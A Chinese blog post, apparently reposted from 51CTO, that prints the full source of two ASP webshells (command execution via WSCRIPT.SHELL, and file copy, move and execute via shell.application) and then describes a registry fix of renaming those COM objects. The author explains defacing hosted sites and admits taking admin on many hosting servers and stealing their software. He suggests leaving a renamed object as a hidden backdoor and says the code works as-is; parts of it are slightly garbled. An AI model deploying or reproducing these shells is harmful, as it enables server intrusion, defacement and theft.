天天看點

兩款比較典型的ASP木馬防範方法

随着ASP 技術的發展,網絡上基于ASP技術開發的網站越來越多,對ASP技術的支援可以說已經是windows系統IIS伺服器的一項基本功能。但是基于ASP技術的木馬後門,也越來越多,而且功能也越來越強大。由于ASP它本身是伺服器提供的一貢服務功能,是以這種ASP腳本的木馬後門,不會被防毒軟體清除。被黑客們稱為“永遠不會被清除的後門”。由于其高度的隐蔽性和難清除性,對網站的安全造成了嚴重的威脅。是以針對ASP木馬的防範和清除,為我們的網管人員提出了更高的技術要求。下面我結合個人的經驗,談一下對兩款比較典型的ASP 木馬的防範方法,希望對大家能夠有所幫助。 

  以下是第一款木馬的代碼:

<title>ASP Shell</title> 

<%@ Language=VBScript %>

<%

Dim oScript

Dim oScriptNet

Dim oFileSys, oFile

Dim szCMD, szTempFile

On Error Resume Next

-- create the COM objects that we will be using -- 

Set oScript = Server.CreateObject("WSCRIPT.SHELL")

Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")

Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

-- check for a command that we have posted -- 

szCMD = Request.Form(".CMD")

If (szCMD <> "") Then

-- Use a poor mans pipe ... a temp file -- 

szTempFile = "C:" & oFileSys.GetTempName( )

Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)

Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)

End If

%>

<HTML>

<BODY>

<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">

<input type=text name=".CMD" size=45 value="<%= szCMD %>">

<input type=submit value="執行指令">

</FORM>

<PRE><%

If (IsObject(oFile)) Then

-- Read the output from our command and remove the temp file -- 

Response.Write Server.HTMLEncode(oFile.ReadAll)

oFile.Close

Call oFileSys.DeleteFile(szTempFile, True)

</BODY>

</HTML>

  在指令行裡輸入DIR指令點執行就可以檢視目錄了!!它可以使用各種DOS指令,如:copy、net、netstat等。

  但是它的預設執行權限隻有GUEST,也就是IUSR_COMPUTER使用者的執行權限。當然如果你把IUSR_COMPUTER使用者加入管理者組,那麼你就有管理者權限了。這一款木馬的特點是,使用很友善。幾乎就想當于DOS指令行視窗xx作一樣。但是如果伺服器限制了FSO(無元件上傳),那麼它是沒有辦法使用了。還有就是在伺服器以後增加的虛拟主機裡也沒有辦法使用。隻能在“預設 Web 站點”裡使用,是以它相對的适用範圍較窄。

  對于防範方法讓我們看一下它的代碼就知道了:

Set oScript = Server.CreateObject("WSCRIPT.SHELL") "建立了一個名為oScript的WSCRIPT.SHELL對象,用于指令的執行"

Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") 

  上面三行代碼建立了WSCRIPT.SHELL、WSCRIPT.NETWORK、Scripting.FileSystemObject三個對象,我們隻要在系統資料庫中把控制WSCRIPT.SHELL對象的項改名或删除就可以了。如下圖:值得注意的是:我們應該把“WSCRIPT.SHELL”項和“WSCRIPT.SHELL.1”這兩項都要改名或删除。因為如我們隻修改“WSCRIPT.SHELL”項的話。那麼黑客們隻要把代碼修改如下:Set oScript = Server.CreateObject("WSCRIPT.SHELL.1") 這個後門木馬就又可以執行了。

大家可能已經想到了,我們在對“WSCRIPT.SHELL”項和“WSCRIPT.SHELL.1”改名時,一定要不容易被黑客們猜到,因為例如:你把“WSCRIPT.SHELL”改成了“WSCRIPT.SHELL888”。黑客們隻要把代碼相應的改成:Set oScript = Server.CreateObject("WSCRIPT.SHELL888"),木馬程式就又可以執行了。還有就修改了系統資料庫以後要重起WEB服務,設定才會有效。 

  接下來讓我們再來看下一款ASP後門木馬程式的代碼:

<%response.write "<font size=6 color=red>一次隻能執行一個xx作</font>" %> 

<%response.write now()%><BR>程式所在的實體路徑: 

<%response.write request.servervariables("APPL_PHYSICAL_PATH")%> 

<html> 

<title>asps shell.application backdoor </title> 

<body> 

<form action="<%= Request.ServerVariables("URL") %>" method="POST"> 

<input type=text name=text value="<%=szCMD %>"> 輸入要浏覽的目錄<br> 

<input type=text name=text1 value="<%=szCMD1 %>"> 

copy 

<input type=text name=text2 value="<%=szCMD2 %>"><br> 

<input type=text name=text3 value="<%=szCMD3 %>"> 

move 

<input type=text name=text4 value="<%=szCMD4 %>"><br> 

路徑:<input type=text name=text5 value="<%=szCMD5 %>"> 

程式:<input type=text name=text6 value="<%=szCMD6 %>"><br> 

<input type=submit name=sb value=發送指令> 

</form> 

</body> 

</html> 

<% 

szCMD = Request.Form("text") 目錄浏覽 

if (szCMD <> "") then 

set shell=server.createobject("shell.application") 建立shell對象 

set fod1=shell.namespace(szcmd) 

set foditems=fod1.items 

for each co in foditems 

response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>" 

next 

end if 

%> <% 

szCMD1 = Request.Form("text1") 目錄拷貝,不能進行檔案拷貝 

szCMD2 = Request.Form("text2") 

if szcmd1<>"" and szcmd2<>"" then 

set shell1=server.createobject("shell.application") 建立shell對象 

set fod1=shell1.namespace(szcmd2) 

for i=len(szcmd1) to 1 step -1 

if mid(szcmd1,i,1)="" then 

path=left(szcmd1,i-1) 

exit for 

if len(path)=2 then path=path & "" 

path2=right(szcmd1,len(szcmd1)-i) 

set fod2=shell1.namespace(path) 

set foditem=fod2.parsename(path2) 

fod1.copyhere foditem 

response.write "command completed success!" 

szCMD3 = Request.Form("text3") 目錄移動 

szCMD4 = Request.Form("text4") 

if szcmd3<>"" and szcmd4<>"" then 

set shell2=server.createobject("shell.application") 建立shell對象 

set fod1=shell2.namespace(szcmd4) for i=len(szcmd3) to 1 step -1 

if mid(szcmd3,i,1)="" then 

path=left(szcmd3,i-1) 

next if len(path)=2 then path=path & "" 

path2=right(szcmd3,len(szcmd3)-i) 

set fod2=shell2.namespace(path) 

fod1.movehere foditem 

%> 

szCMD5 = Request.Form("text5") 執行程式要指定路徑 

szCMD6 = Request.Form("text6") 

if szcmd5<>"" and szcmd6<>"" then 

set shell3=server.createobject("shell.application") 建立shell對象 

shell3.namespace(szcmd5).items.item(szcmd6).invokeverb 

  要檢視目錄,隻要輸入相應的目錄,點發送指令就可以了。這個木馬程可以完成檔案的COPY、MOVE,和執行程式。但很多指令都不能用,例如:del、net、netstat等。這個木馬程的功能随然簡單,但是用它來黑一個網站是足夠了。比如,我們可以把網站的首頁MOVE到其它地方,然後我們再COPY一個同名的黑客網頁進去,就行了。

  最要命的是這個木馬适用于任何虛拟主機之中,也就是說我隻要是伺服器中的一個虛拟空間的使用者,我就可以傳這個木馬上去,并用它來修改其它任何使用者的首頁。是以如果哪些提供虛拟空間的服務商沒有打更新檔的話,那真是死定了。

  然而在我的實踐中發現,中國很多的虛拟空間服務商,特别是一些小型的服務商都沒有打更新檔。我利用這一漏洞拿到了很多虛拟空間伺服器的ADMIN,然後好心的幫他們補上漏洞。當然我也得到了我想得到的東西——很多好的軟體和代碼。我現在用着的很多ASP程式就是從他們那上面偷下來,太難聽了,應該說DOWN下來的才對。

  言歸正傳,我們應該怎樣來防範這個ASP後門木馬程式呢?讓我們看一下它其中的這一句代碼:set shell=server.createobject("shell.application"),跟剛才的方法一樣,我們隻要把"shell.application"項和"shell.application.1"項改名或删除就可以了。記住了,如果是改名,要改得複雜一點,不要讓黑客們一下就猜到了。順便說一句,如果是你給殭屍電腦打更新檔最好是改名,并把名字記下來,這樣也就成為自己一個隐密的後門了。最後對這兩款ASP木馬後門,以及如何防範ASP木馬後門做一下總結:第一款木馬功能上強大一些, 但适用範圍窄,需要FSO支援也就是"Scripting.FileSystemObject"項的支援。第二款木馬雖然功能上少一些,但它建立的是"shell.application"對象。在任何虛拟主機中都适用。(這一點危害确實太大了,提供支援ASP空間的管理者們,你們可得注意了!)

  其實跟據對上面兩款ASP木馬後門的防範,大家可能已經想到了,對于ASP後門木馬的防範,我們隻要在系統資料庫中把"shell.application"、"WSCRIPT.SHELL"等危險的腳本對象(因為它們都是用于建立腳本指令通道的)進行改名或删除,也就是限制系統對“腳本SHELL”的建立,ASP木馬也就成為無本之木、無米之炊,運作不起來了。

  注:以上代碼複制儲存為ASP檔案就可以直接使用了。

本文轉自loveme2351CTO部落格,原文連結:http://blog.51cto.com/loveme23/8223 ,如需轉載請自行聯系原作者